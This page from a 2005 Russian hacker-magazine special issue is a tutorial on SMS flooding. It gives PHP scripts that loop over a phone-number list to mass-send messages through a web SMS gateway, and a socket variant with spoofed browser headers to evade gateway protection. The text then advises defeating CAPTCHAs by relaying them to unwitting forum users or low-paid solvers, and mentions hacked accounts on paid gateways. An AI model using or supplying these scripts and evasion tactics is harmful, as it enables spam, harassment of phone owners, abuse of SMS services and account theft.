Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #56, ИЮЛЬ 2005 г.

Наводнение сообщениями

Даня aka xbit

Спецвыпуск: Хакер, номер #056, стр. 056-056-2


$phone = file (“phone_base.txt”);

// Рассылаем

while ($i<=$num){

$k = 'http://www.sms-site.ru/sendsms/?to='.$phone[$i].'&text='.$text.'&pic='.$pic.'';

$f = fopen ("$k","r") or die ("Ошибка. SMS № $i не отправлена");

$i++;

echo "SMS № $i отправлена удачно";

}

?>

Сделать это можно не только при помощи fopen(), но и посредством сокетов. Первый вариант немного проще предыдущего, однако важно, что большинство SMS-шлюзов защищено от подобного подхода и вся система будет работать нестабильно. Хакеру нужно сымитировать браузер пользователя, что делается именно через сокеты. Посмотрим на этот вопрос более основательно:

<?

if (!isset($sub_ok)) exit;

Используем класс. Описываемый класс можно скачать с classes.php.net

require_once('../classes/HTTP_Connection.php');

$splite = "\r\n"; // разделитель

$i=1;

Учитываем, что данные, передаваемые через адресную строку, относятся к строковому типу, поэтому не забывай избавляться от таких недоразумений с числами. Иначе будут ошибки:

settype ($num, int);

$phone = file (“phone_base.txt”); // считываем базу телефонных номеров в массив

// Рассылаем

while ($i<=$num){

// составляем заголовок соединения. Указываем его тип, поддерживаемые нами кодировки, ОС, браузер и т.д. :)

print_section('GET / HTTP/1.1');

$request = "GET / HTTP/1.1

Host: www.sms-site.ru/sendsms/?to=$phone[$i]&text=$text&pic=$pic

User-Agent: Opera/8.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020826

Accept: *

Accept-Language: en-us, en, ru;q=0.50

Accept-Encoding: gzip, rar ;q=0.9

Accept-Charset: *

Keep-Alive: 300 ";

$request = explode("\n", $request);

$request = implode($splite, $request);

// осуществляем сам запрос на порт 80

$http = new HTTP_Connection('http://www.sms-site.ru/sendsms/?to=$phone[$i]&text=$text&pic=$pic', 80);

// проверяем время ответа сервера - обычно не более 30-ти секунд

$http->set_timeout(10);

var_dump($http->read_status_line());

if ($http->timed_out()) {

echo "Timed out";

}

$http->disconnect();

}

?>

Обходим картинку

Вышеприведенный скрипт решает большинство проблем: даже если используемый шлюз будет использовать coockies и Java-скрипт, после несложной доработки скрипт решит и эту проблему. Обычно же таких затруднений не возникает. Первый этап мы успешно преодолели, но как быть с опознаванием символов? Выхода из данной ситуации может быть два. Первый – распознавать программно. В январском номере Х была неплохая статья (в "Кодинге", статья "Программа с глазами") об обходе такой защиты. Второй, менее эффективный способ – привлечение людей. Допустим, желающий запостить сообщение в форуме будет обязан ввести номер с картинки. Саму картинку будем линковать с сайта шлюза, а сценарий запускать вместе с отправкой сообщения. Можно поступить иначе. Например, открыть сервис типа САР: пользователь заходит на страницу, на которую прилинковано несколько десятков картинок, и вводит их значения в поля. Оплата за каждые 5000 картинок– $1-2. Однако оба способа не очень удобны. В случае с форумом придется предварительно набрать большую аудиторию. К тому же даже с посещаемостью в 5000 человек в день постить новые сообщения будут только 200-300 человек. Спустя некоторое время пользователи заметят, что запись можно добавить и без ввода кода с картинки, и доходы резко упадут. Во втором случае все намного лучше, но рано или поздно начнут возникать вопросы, пусть даже сама система будет очень эффективна. Аналогичные проекты имеют посещаемость как раз примерно 30 000 человек в день, поэтому прогрессивные взломщики предпочитают использовать гейты, не защищенные картинкой (они могут славиться плохой скоростью), или скарженными аккаунтами на платных гейтах.

Назад на стр. 056-056-1  Содержание  Вперед на стр. 056-056-3